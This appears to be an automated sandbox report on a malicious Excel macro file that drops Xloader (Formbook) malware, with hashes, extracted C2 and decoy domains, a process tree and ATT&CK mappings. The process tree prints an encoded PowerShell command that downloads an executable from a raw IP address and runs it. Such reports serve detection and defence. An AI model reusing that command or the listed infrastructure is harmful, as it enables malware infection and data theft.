Analysis

  • max time kernel
    151s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10-en-20211104
  • submitted
    17-11-2021 21:45

General

  • Target

    6ffda0323b69bb875a8360bcdd18b398a463d3de88bb11e6511a3b3bffe5b753.xlsm

  • Size

    14KB

  • MD5

    70820ac2bb527bb0a10747a06d2c2b0b

  • SHA1

    7289b7ddcdcaa9450c27e1579f36d67a544cee80

  • SHA256

    6ffda0323b69bb875a8360bcdd18b398a463d3de88bb11e6511a3b3bffe5b753

  • SHA512

    64be67485be70ac5aa2539a88c9846282d7178e13a46895d4686ff0ce79378bf9ed4ee7bec00cb88abc0e2e8bb41a9b9ef38aa4ff25b4e4dc6334a96ad1ee4b5

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://84.252.122.205/xcx/system.exe

Extracted

Family

xloader

Version

2.5

Campaign

pufi

C2

http://www.homestechs.com/pufi/

Decoy

fusiongroupgames.net

hugevari.com

rebeccagriffiths.com

trocaoferta.com

theslashapp.com

codezonesoftware.xyz

sottocommunications.com

minicreators.online

course2millions.com

hfm5n1dhkjqwpe.xyz

xlab-ub.com

silvanaribeirocake.com

thefabinteriordesign.com

mg-leadership.com

petbort.com

ndust.net

203040302.xyz

jakital.com

shophuunghia.info

rednacionaldejuecesrd.net

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Xloader

    Xloader is a rebranded version of Formbook malware.

  • Xloader Payload 4 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Deletes itself 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • NTFS ADS 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 47 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 42 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3016
    • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
      "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6ffda0323b69bb875a8360bcdd18b398a463d3de88bb11e6511a3b3bffe5b753.xlsm"
      2⤵
      • Deletes itself
      • Checks processor information in registry
      • Enumerates system info in registry
      • NTFS ADS
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious behavior: RenamesItself
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3904
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\Documents\Cxrgbutjpc.bat
        3⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:2668
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -win 1 -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBCAGUAeABzAGMAbwB5AGEAcABhAHIAYwB5AGgAbgBmAHkALgBlAHgAZQAiADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwA4ADQALgAyADUAMgAuADEAMgAyAC4AMgAwADUALwB4AGMAeAAvAHMAeQBzAHQAZQBtAC4AZQB4AGUAIgAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApAA==
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1092
          • C:\Users\Admin\AppData\Roaming\Bexscoyaparcyhnfy.exe
            "C:\Users\Admin\AppData\Roaming\Bexscoyaparcyhnfy.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4084
            • C:\Users\Admin\AppData\Local\Temp\Bexscoyaparcyhnfy.exe
              C:\Users\Admin\AppData\Local\Temp\Bexscoyaparcyhnfy.exe
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of AdjustPrivilegeToken
              PID:1296
    • C:\Windows\SysWOW64\NETSTAT.EXE
      "C:\Windows\SysWOW64\NETSTAT.EXE"
      2⤵
      • Suspicious use of SetThreadContext
      • Gathers network information
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3000
      • C:\Windows\SysWOW64\cmd.exe
        /c del "C:\Users\Admin\AppData\Local\Temp\Bexscoyaparcyhnfy.exe"
        3⤵
          PID:1612

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Command-Line Interface

    1
    T1059

    Discovery

    Query Registry

    2
    T1012

    System Information Discovery

    3
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\Bexscoyaparcyhnfy.exe
      MD5

      1784e74e8dd172731e715668f905639b

      SHA1

      8f180642955070583837e55fa3c5677c059a1e3c

      SHA256

      ad6eba8fb34f6e35f73fc65c58ed19e6648604247dc8a6e1c7db9156553dd77f

      SHA512

      786e1bb8832dbe875a4bcf7fa1ccb0f0ce1127e3049fd31d3a3c707c54f8531e52c5ef5a9f449a35e8c8982325e307ef772feb8fa133b755e55d3ea1b987f36b

    • C:\Users\Admin\AppData\Local\Temp\Bexscoyaparcyhnfy.exe
      MD5

      1784e74e8dd172731e715668f905639b

      SHA1

      8f180642955070583837e55fa3c5677c059a1e3c

      SHA256

      ad6eba8fb34f6e35f73fc65c58ed19e6648604247dc8a6e1c7db9156553dd77f

      SHA512

      786e1bb8832dbe875a4bcf7fa1ccb0f0ce1127e3049fd31d3a3c707c54f8531e52c5ef5a9f449a35e8c8982325e307ef772feb8fa133b755e55d3ea1b987f36b

    • C:\Users\Admin\AppData\Roaming\Bexscoyaparcyhnfy.exe
      MD5

      1784e74e8dd172731e715668f905639b

      SHA1

      8f180642955070583837e55fa3c5677c059a1e3c

      SHA256

      ad6eba8fb34f6e35f73fc65c58ed19e6648604247dc8a6e1c7db9156553dd77f

      SHA512

      786e1bb8832dbe875a4bcf7fa1ccb0f0ce1127e3049fd31d3a3c707c54f8531e52c5ef5a9f449a35e8c8982325e307ef772feb8fa133b755e55d3ea1b987f36b

    • C:\Users\Admin\AppData\Roaming\Bexscoyaparcyhnfy.exe
      MD5

      1784e74e8dd172731e715668f905639b

      SHA1

      8f180642955070583837e55fa3c5677c059a1e3c

      SHA256

      ad6eba8fb34f6e35f73fc65c58ed19e6648604247dc8a6e1c7db9156553dd77f

      SHA512

      786e1bb8832dbe875a4bcf7fa1ccb0f0ce1127e3049fd31d3a3c707c54f8531e52c5ef5a9f449a35e8c8982325e307ef772feb8fa133b755e55d3ea1b987f36b

    • C:\Users\Admin\Documents\Cxrgbutjpc.bat
      MD5

      31814477e987cc1e94638caa7f39f293

      SHA1

      c3814edcc331117303ced19f53006a4ecd09a833

      SHA256

      de24fa627ca42edfb1e5b46804f6dd0ed41fbcbd900eeeb56abc5cb34c1cadd4

      SHA512

      09a06a533d82dc086c345bd1c5ca92b2d582964c963b89e6e0c11c784effe9e4ecfc5e05f2bd3571437a04bead7c2d9fc053bd82538be17a23a473dc949fc268

    • memory/1092-294-0x000002AA54366000-0x000002AA54368000-memory.dmp
      Filesize

      8KB

    • memory/1092-292-0x000002AA54360000-0x000002AA54362000-memory.dmp
      Filesize

      8KB

    • memory/1092-293-0x000002AA54363000-0x000002AA54365000-memory.dmp
      Filesize

      8KB

    • memory/1092-269-0x0000000000000000-mapping.dmp
    • memory/1296-316-0x0000000001890000-0x00000000018A1000-memory.dmp
      Filesize

      68KB

    • memory/1296-308-0x000000000041D450-mapping.dmp
    • memory/1296-313-0x0000000001460000-0x0000000001471000-memory.dmp
      Filesize

      68KB

    • memory/1296-311-0x0000000000400000-0x0000000000429000-memory.dmp
      Filesize

      164KB

    • memory/1296-312-0x0000000001480000-0x00000000017A0000-memory.dmp
      Filesize

      3.1MB

    • memory/1612-322-0x0000000000000000-mapping.dmp
    • memory/2668-265-0x0000000000000000-mapping.dmp
    • memory/3000-319-0x0000000000890000-0x000000000089B000-memory.dmp
      Filesize

      44KB

    • memory/3000-324-0x0000000003520000-0x00000000035B0000-memory.dmp
      Filesize

      576KB

    • memory/3000-323-0x0000000003070000-0x00000000031BA000-memory.dmp
      Filesize

      1.3MB

    • memory/3000-320-0x0000000003040000-0x0000000003069000-memory.dmp
      Filesize

      164KB

    • memory/3000-318-0x0000000000000000-mapping.dmp
    • memory/3016-317-0x0000000002E40000-0x0000000002F03000-memory.dmp
      Filesize

      780KB

    • memory/3016-335-0x0000000005620000-0x0000000005742000-memory.dmp
      Filesize

      1.1MB

    • memory/3016-314-0x00000000054B0000-0x0000000005617000-memory.dmp
      Filesize

      1.4MB

    • memory/3904-119-0x00007FFD11C80000-0x00007FFD11C90000-memory.dmp
      Filesize

      64KB

    • memory/3904-118-0x00007FFD11C80000-0x00007FFD11C90000-memory.dmp
      Filesize

      64KB

    • memory/3904-123-0x000001B929250000-0x000001B929252000-memory.dmp
      Filesize

      8KB

    • memory/3904-124-0x000001B929250000-0x000001B929252000-memory.dmp
      Filesize

      8KB

    • memory/3904-130-0x00007FFD11C80000-0x00007FFD11C90000-memory.dmp
      Filesize

      64KB

    • memory/3904-122-0x000001B929250000-0x000001B929252000-memory.dmp
      Filesize

      8KB

    • memory/3904-120-0x00007FFD11C80000-0x00007FFD11C90000-memory.dmp
      Filesize

      64KB

    • memory/3904-121-0x00007FFD11C80000-0x00007FFD11C90000-memory.dmp
      Filesize

      64KB

    • memory/4084-295-0x0000000000000000-mapping.dmp
    • memory/4084-302-0x00000000053A0000-0x00000000053A1000-memory.dmp
      Filesize

      4KB